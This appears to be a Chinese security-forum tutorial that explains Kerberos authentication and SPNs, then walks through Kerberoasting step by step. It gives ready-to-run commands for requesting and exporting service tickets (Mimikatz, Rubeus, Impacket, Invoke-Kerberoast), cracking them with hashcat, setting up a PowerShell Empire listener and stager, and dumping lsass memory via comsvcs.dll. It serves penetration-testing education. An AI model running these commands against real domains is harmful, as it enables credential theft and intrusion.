深入理解 Kerberoasting 攻击
k0e1y 发表于 山东 WEB安全 3441浏览 · 2024-02-18 06:25

0x01 详解 Kerberos 身份验证流程

Kerberos 及其主要组件

客户端从 Kerberos 密钥分发中心 (KDC) 获取票证,并在建立连接时将这些票证提交给应用程序服务器。它默认使用 UDP 端口 88,并依赖于对称密钥加密过程。Kerberos 使用票据来验证用户身份,完全避免了通过网络发送密码。

Kerberos 组件 规则
参与各方 Client:用户用来访问某些服务
KDC:是域服务的密钥分发中心。他包含一个用户和服务 HASH 数据库、一个身份验证服务器和票据授予服务
应用服务器:用于特定服务的服务器
加密秘钥 krbtgt 密钥:使用 krbtgt 账户的 NTLM HASH
User key:使用用户 NTLM HASH
Service key:使用 NTLM HASH的服务,可以使用用户或计算机账户
Session key:在用户和 KDC 之间传递Service session key:在用户和服务之间使用
票据 TGT:向 KDC 提出申请 TGS 票据,他是用 KDC 密钥加密而成
TGS:用户可以用来对服务进行身份验证是用 service key 加密而成
PAC PAC(特权属性证书):几乎每个票据都包含 PAC,PAC 包含用户的权限,使用KDC 密钥进行签名
消息协商过程 KRB_AS_REQ:用户向 KDC 发送 TGT 请求来获取 TGT
KRB_AS_REP:用户收到了来自 KDC 的 TGT
KRB_TGS_REQ:用户使用 TGT 向 KDC 发送 TGS 请求
KRB_TGS_REP:用户收到了来自 KDC 的 TGS
KRB_AP_REQ:使用 TGS 的用户发送请求对服务进行身份验证
KRB_AP_REP:(可选)服务用来针对用户标识自身
KRB_ERROR:用于交流错误条件的消息

Kerberos 消息认证流程

在 Active Directory 域中,每个域控制器都运行 KDC(Kerberos 分发中心)服务,该服务处理所有对 Kerberos 票证的请求。对于 Kerberos 票证,AD 使用 AD 域中的 KRBTGT 帐户。
下面使用这张图来显示认证流程

如上图,使用了三种颜色来标识该请求是用什么密钥来加密的

蓝色:用户 NTLM HASH
黄色:Krbtgt NTLM HASH
红色:服务账户的 NTLM HASH

步骤1:KRB_AS_REQ

通过向 KDC 发送请求消息,客户端初始化通信
KRB_AS_REQ 主要包括以下内容:

  • 待认证客户端的用户名与 Krbtgt
  • 帐户关联的服务SPN(服务主体名称)
  • 加密的时间戳(使用用户 HASH 加密)

整个消息使用用户 NTLM 哈希进行加密,以验证用户身份并防止重放攻击

步骤2:KRB_AS_REP

KDC 解密验证用户身份的消息,验证成功后,KDC 将为客户端生成TGT ,并且使用 krbtgt hash进行加密,并且使用用户HASH加密一些消息
KRB_AS_REP 主要包括以下内容:

  • 用户名
  • 一些加密数据(使用用户 HASH 加密)
    - 会话密钥
    - TGT 的到期日期
  • TGT(使用 krbtgt hash 加密)
    - 用户名
    - 会话密钥
    - TGT 的到期时间
    - 具有用户权限的 PAC,由 KDC 签名

步骤3:KRB_TGS_REQ

经过步骤二发送的 KRB_TGT将存储在客户端的内存中,由于客户已经拥有KRB_TGT,因此将TGT用于在TGS请求中识别自己的身份,客户端将包含加密数据的TGT副本发送给KDC
KRB_TGS_REQ主要包含以下内容:

  • 使用用户密钥加密的数据
    - 用户名
    - 时间戳
  • TGT
  • 请求的服务的 SPN

步骤4:KRB_TGS_REP

KDC 接收KRB_TGS_REQ 消息并使用 Krbtgt 哈希解密该消息以验证 TGT,然后 KDC 返回 TGS 作为 KRB_TGS_REP,该 TGS 使用请求的服务哈希和一些加密消息进行使用用户哈希
KRB_TGS_REP主要包含以下内容:

  • 用户名
  • 使用用户密钥加密的数据
    - 服务会话密钥
  • TGS 的有效期
  • TGS(使用服务HASH加密)包括:
    - 服务会话密钥
    - 用户名
    - TGS 的有效期
    - 具有用户权限的 PAC ,由 KDC 签名

步骤5:KRB_AP_REQ

用户将TGS的副本发送到提供服务的服务器
KRB_AP_REQ主要包含以下内容:

  • TGS
  • 使用用户密钥加密的数据
    - 用户名
    - 时间戳

步骤6:KRB_verify_PAC_REQ

应用程序尝试使用 NTLM HASH来解密消息,并验证来自 KDCPAC来识别用户权限

步骤7:PAC_Verified_REP

KDC验证 PAC
需要注意的是步骤6与步骤7都是可选步骤

步骤8:Allow Service Access

允许用户在特定的时间内访问该服务

0x02 服务主体名称 SPN

服务主体名称 (SPN) 是服务实例的唯一标识符。 Active Directory 域服务Windows 提供对服务主体名称 (SPN) 的支持,SPNKerberos 机制的关键组件,客户端通过该机制对服务进行身份验证。
如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。在Kerberos使用SPN对服务进行身份认证之前,必须在服务实例用于登录的账户对象上注册SPN,并且只能在一个账户上注册给定的SPN。如果服务实例的登录账户发生改变,必须在新账户下重新注册SPN。当客户端想要连接到某个服务时,他将查找该服务的实例,并为该实例编写SPN,然后连接到该服务并显示服务的SPN以进行身份认证。
SPN 四元素

:serviceclass/host:port/servicename
例如
MSSQLSVC/win7/hack.org:1433

0x03 Kerberoasting 攻击

什么是 Kerberoasting

Kerberoasting 是一种允许攻击者窃取使用 RC4 加密的 KRB_TGS 票证的技术,以暴力破解应用程序服务 HASH 来获取其密码
Kerberos 使用所请求服务的 NTLM 哈希来加密给定服务主体名称 (SPN) 的 KRB_TGS 票证。当域用户向域控制器 KDC 发送针对已注册 SPN 的任何服务的 TGS 票证请求时,KDC 会生成 KRB_TGS
攻击者可以离线使用例如hashcat来暴力破解服务帐户的密码,因为该票证已使用服务帐户的 NTLM 哈希进行了加密。
Kerberoasting攻击主要步骤如下

1.发现SPN服务
2.使用工具向 SPN 请求 TGS 票据
3.转储 .kirbi 或 ccache 或服务 HASH 的 TGS 票据
4.将 .kirbi 或 ccache 文件转换为可破解格式
5.使用hashcat等工具配合字典进行暴力破解

并且随着技术的不断更新,kerberoasting 攻击的工具与手段也越来越多,因此我们把多个步骤的攻击叫做旧 kerberoasting 攻击,单个步骤的攻击叫做新 kerberoasting 攻击

旧 kerberoasting 攻击

利用 Powershell 脚本进行 kerberoasting

发现SPN

使用以下 RiskySPN 脚本发现 SPN 服务

https://github.com/cyberark/RiskySPN/tree/master
powershell -ep bypass
#发现域内spn
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -FullData -Verbose
#发现域内spn并保存到csv
Import-Module .\Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts

当然我们也可以使用GetUserSPns.ps1来发现 SPN 服务

https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1

也可以使用setspn -T ignite -Q */*来发现

提取并转储 TGS_ticket 并获取哈希值

我们使用 TGSipher.ps1 来提取 KRB_TGS,下载地址如下

https://github.com/cyberark/RiskySPN/blob/master/Get-TGSCipher.ps1

获取 TGS 并将结果转换为 hashcat 格式

Import-Module .\Get-TGSCipher.ps1
Get-TGSCipher -SPN "MSSQLSvc/win7.rootkit.org:1433" -Format hashcat

成功获取 mssql 服务 hash字符串

使用 hashcat 进行破解

hashcat -m 13100 '/home/kali/Desktop/hashes' '/home/kali/Desktop/10_million_password_list_top_100000.txt' --force

成功获取了服务账户的密码

利用 Mimikatz 进行攻击

使用 Mimikatz 请求 SPN 服务并且导出 TGS 票据

mimikatz.exe "kerberos::ask /target:MSSQLSvc/win7.rootkit.org:1433" "kerberos::list /export" exit

对票据进行暴力破解

方法1:使用 tgsrepcrack.py 进行破解

python tgsrepcrack.py pass.txt tgs.kirbi

方法2:使用 kirbi2john.py 将票据文件转换为hash值进行暴力破解

python kirbi2john.py tgs.kirbi

使用hashcat进行破解

hashcat -m 13100 '/home/kali/Desktop/hashes' '/home/kali/Desktop/10_million_password_list_top_100000.txt' --force

新 kerberoasting 攻击

使用 Rubeus.exe

发现 SPN、提取 TGS、转储HASH存储到hash.txt

Rubeus.exe kerberoast /outfile:hash.txt

使用hashcat进行破解

ashcat -m 13100 --force -a 0 '/home/kali/Desktop/hash.txt' '/home/kali/Desktop/pass.txt'

hashcat有一个特点,当破解成功后第二次破解不会再重新破解,使用show命令来显示

Invoke-kerberoast.ps1 脚本

Invoke-kerberoast.ps1empire中集成的脚本,可以自动发现 SPN,提取 TGS 并且转储服务 HASH

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
Import-Module .\Invoke-kerberoast.ps1 
Invoke-kerberoast

之后使用 hashcat 暴力破解即可

在远程系统上利用 Kerberoasting 攻击

使用 Powershell Empire

使用 Kali 进行安装

apt install powershell-empire

启动empire服务器

sudo powershell-empire server

启动empire客户端

sudo powershell-empire client

使用uselistener http创建http监听器,设置端口set Port 1111,修改监听器名称为testset Name test使用options查看信息

最后使用execute命令创建监听器, 使用listeners命令查看所有监听器

使用usestager windows_csharp_exe创建一个exe文件,set Listener test设置监听器为testexecute生成即可

当目标运行exe上线后,使用agents命令可以查看所有会话

使用以下命令可以修改会话rename 39ASLBHN stager1,使用以下命令进入该会话interact stager1便可对主机进行操作

extract_tickets 模块

执行下面的模块,他将提取.kirbi格式的文件作为TGS票据

usemodule powershell_credentials_mimikatz_extract_tickets
execute

使用download命令下载即可,使用tgscrack对票据进行转换并且破解,下载地址如下

https://github.com/leechristensen/tgscrack

运行以下命令进行转换

python2 extractServiceTicketParts.py '/home/kali/Desktop/tgscrack-master/2-40a10000-micle@MSSQLSvc~Srv-Web-Kit.rootkit.org~1433-ROOTKIT.ORG.kirbi' >tgshash

使用tgscrack.go进行破解,go run tgscrack.go -hashfile tgshash -wordlist pass.txt

使用过程中可能会出现缺少依赖的问题,使用以下命令初始化新的模块然后安装即可

go mod init tgscrack 
go get golang.org/x/crypto/md4

invoke_kerberoast 模块

该模块可以进行 SPN 发现、转储 TGS、获取 HASH 一键化

usemodule powershell_credentials_invoke_kerberoast
execute

获取到之后,使用hahscat或者john破解即可

使用 Metasploit

load powershell 
powershell_import Invoke-Kerberoast.ps1
powershell_execute Invoke-Kerberoast

使用 Impacket

使用GetUserSPNs.py脚本可以自动化发现SPN、提取TGS、转换为HASH

python GetUserSPNs.py -request -dc-ip 192.168.3.144 rootkit.org/micle

之后使用同样的方法进行暴力破解即可。

Pypykatz

首先我们将lsass进程内存 dump 下来

load powershell
powershell_shell
Get-Process Lsass
cd C:\Windows\System32
.\rundll32.exe comsvcs.dll, MiniDump 576 C:\lsass.DMP full

将 dmp 文件下载到 kali 本机download c:/lsass.dmp /home/kali/Desktop

此 dmp 中存储以下内容

用户的 NTLM HASH
KRB5_TGT 票据
KRB5_TGS 票据
服务 NTLM HASH

使用 pip 命令安装 pypykatz

pip3 install pypykatz

/root目录下建立一个kerb文件夹

cd /root
mkdir kerb

使用pypykatz对 dmp 进行提取

pypykatz lsa -k /root/kerb minidump '/home/kali/Desktop/lsass.dmp'

kerb文件夹下也出现许多票据

使用kirbi2john.py或者tgscrack将票据转换成hash进行破解即可

参考链接

https://www.hackingarticles.in/deep-dive-into-kerberoasting-attack/
https://room362.com/post/2016/kerberoast-pt1/
https://room362.com/post/2016/kerberoast-pt2/
https://room362.com/post/2016/kerberoast-pt3/
https://adsecurity.org/?p=2293
https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/
1 条评论
某人
表情
可输入 255